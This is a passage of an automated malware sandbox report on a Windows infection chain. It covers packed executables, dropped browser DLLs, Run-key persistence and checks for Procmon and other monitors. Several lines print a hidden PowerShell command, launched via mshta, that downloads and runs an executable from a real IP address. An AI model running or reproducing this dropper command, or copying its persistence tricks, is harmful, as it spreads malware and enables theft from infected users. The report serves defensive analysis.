Source: KUQRYpJ.exe.19.dr Static PE information: section name: .omX
Source: KUQRYpJ.exe.19.dr Static PE information: section name: .uVz
Source: KUQRYpJ.exe.19.dr Static PE information: section name: .}=J
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name:
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name: .idata
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name:
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name: gfrqabhk
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name: clsldkbz
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name: .taggant
Source: Bjkm5hE.exe.19.dr Static PE information: section name:
Source: Bjkm5hE.exe.19.dr Static PE information: section name: .idata
Source: Bjkm5hE.exe.19.dr Static PE information: section name:
Source: Bjkm5hE.exe.19.dr Static PE information: section name: gfrqabhk
Source: Bjkm5hE.exe.19.dr Static PE information: section name: clsldkbz
Source: Bjkm5hE.exe.19.dr Static PE information: section name: .taggant
Source: random[2].exe2.19.dr Static PE information: section name:
Source: random[2].exe2.19.dr Static PE information: section name: .idata
Source: random[2].exe2.19.dr Static PE information: section name:
Source: random[2].exe2.19.dr Static PE information: section name: kdgxxfxm
Source: random[2].exe2.19.dr Static PE information: section name: tqdhugzr
Source: random[2].exe2.19.dr Static PE information: section name: .taggant
Source: 37a2af455e.exe.19.dr Static PE information: section name:
Source: 37a2af455e.exe.19.dr Static PE information: section name: .idata
Source: 37a2af455e.exe.19.dr Static PE information: section name:
Source: 37a2af455e.exe.19.dr Static PE information: section name: kdgxxfxm
Source: 37a2af455e.exe.19.dr Static PE information: section name: tqdhugzr
Source: 37a2af455e.exe.19.dr Static PE information: section name: .taggant
Source: random[3].exe.19.dr Static PE information: section name:
Source: random[3].exe.19.dr Static PE information: section name: .idata
Source: random[3].exe.19.dr Static PE information: section name:
Source: random[3].exe.19.dr Static PE information: section name: bdaxirak
Source: random[3].exe.19.dr Static PE information: section name: yrhfonxe
Source: random[3].exe.19.dr Static PE information: section name: .taggant
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name:
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name: .idata
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name:
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name: ssjfjqgu
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name: cpkobjmh
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name: .taggant
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name:
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name: .idata
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name:
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name: rtrxnzik
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name: vyhzfbjm
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name: .taggant
Source: msvcp140.dll.22.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.22.dr Static PE information: section name: .didat
Source: nss3.dll.22.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.22.dr Static PE information: section name: .00cfg
Source: softokn3.dll.22.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.22.dr Static PE information: section name: .00cfg
Source: freebl3.dll.22.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.22.dr Static PE information: section name: .00cfg
Source: mozglue.dll.22.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.22.dr Static PE information: section name: .00cfg
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name:
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name: .idata
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name:
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name: ssjfjqgu
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name: cpkobjmh
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name: .taggant
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name:
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name: .idata
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name:
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name: rtrxnzik
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name: vyhzfbjm
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name: .taggant
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name:
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name: .idata
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name:
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name: rtrxnzik
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name: vyhzfbjm
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name: .taggant
Source: gmpopenh264.dll.tmp.48.dr Static PE information: section name: .rodata
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00450A76 push ecx; ret 0_2_00450A89
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD341C00BD pushad ; iretd 9_2_00007FFD341C00C1
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014C7358 push eax; retn 0054h 20_3_014C7359
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014C7358 push eax; retn 0054h 20_3_014C7359
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014DD56B push ss; retf 20_3_014DD5EA
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014ECA0A push 900148CFh; iretd 20_3_014ECA1D
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014E0FB8 push eax; iretd 20_3_014E1031
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_2_06FE0A60 push 0000005Bh; retn 0010h 20_2_06FE0A67
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name: entropy: 7.105636274880829
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name: rtrxnzik entropy: 7.953483509677053
Source: skotes.exe.11.dr Static PE information: section name: entropy: 7.105636274880829
Source: skotes.exe.11.dr Static PE information: section name: rtrxnzik entropy: 7.953483509677053
Source: 6609830e7b.exe.19.dr Static PE information: section name: entropy: 7.068535050346925
Source: 6609830e7b.exe.19.dr Static PE information: section name: bdaxirak entropy: 7.9539560419668565
Source: random[2].exe.19.dr Static PE information: section name: entropy: 7.942354787086272
Source: random[2].exe.19.dr Static PE information: section name: enqbupfi entropy: 7.952160046184562
Source: a0be961972.exe.19.dr Static PE information: section name: entropy: 7.942354787086272
Source: a0be961972.exe.19.dr Static PE information: section name: enqbupfi entropy: 7.952160046184562
Source: random[1].exe0.19.dr Static PE information: section name: entropy: 7.981311793353604
Source: random[1].exe0.19.dr Static PE information: section name: swebfrpr entropy: 7.953079162033181
Source: df1dfa8044.exe.19.dr Static PE information: section name: entropy: 7.981311793353604
Source: df1dfa8044.exe.19.dr Static PE information: section name: swebfrpr entropy: 7.953079162033181
Source: random[1].exe1.19.dr Static PE information: section name: ssjfjqgu entropy: 7.9545164675533435
Source: d04aa34f51.exe.19.dr Static PE information: section name: ssjfjqgu entropy: 7.9545164675533435
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name: entropy: 7.98240674670441
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name: gfrqabhk entropy: 7.953368544557863
Source: Bjkm5hE.exe.19.dr Static PE information: section name: entropy: 7.98240674670441
Source: Bjkm5hE.exe.19.dr Static PE information: section name: gfrqabhk entropy: 7.953368544557863
Source: random[2].exe2.19.dr Static PE information: section name: kdgxxfxm entropy: 7.920580498098428
Source: 37a2af455e.exe.19.dr Static PE information: section name: kdgxxfxm entropy: 7.920580498098428
Source: random[3].exe.19.dr Static PE information: section name: entropy: 7.068535050346925
Source: random[3].exe.19.dr Static PE information: section name: bdaxirak entropy: 7.9539560419668565
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name: ssjfjqgu entropy: 7.9545164675533435
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name: entropy: 7.105636274880829
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name: rtrxnzik entropy: 7.953483509677053
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name: ssjfjqgu entropy: 7.9545164675533435
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name: entropy: 7.105636274880829
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name: rtrxnzik entropy: 7.953483509677053
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name: entropy: 7.105636274880829
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name: rtrxnzik entropy: 7.953483509677053

Persistence and Installation Behavior
barindex
Tries to download and execute files (via powershell)
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Drops PE files
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File created: C:\Users\user\AppData\Local\Temp\TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074971001\KUQRYpJ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File created: C:\Users\user\AppData\Local\Temp\BYDYGQX1ICXGMYWQ53H5H6EE1S.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074968001\6609830e7b.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074966001\544b1ad39e.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Bjkm5hE[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\KUQRYpJ[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File created: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File created: C:\Users\user\AppData\Local\Temp\VXAIPJHLIAGNKZRZS3E57X.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074970001\a0be961972.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074972001\Bjkm5hE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d04aa34f51.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 22a0986bef.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e65eefc791.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run df1dfa8044.exe
Monitors registry run keys for changes
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: FilemonClass
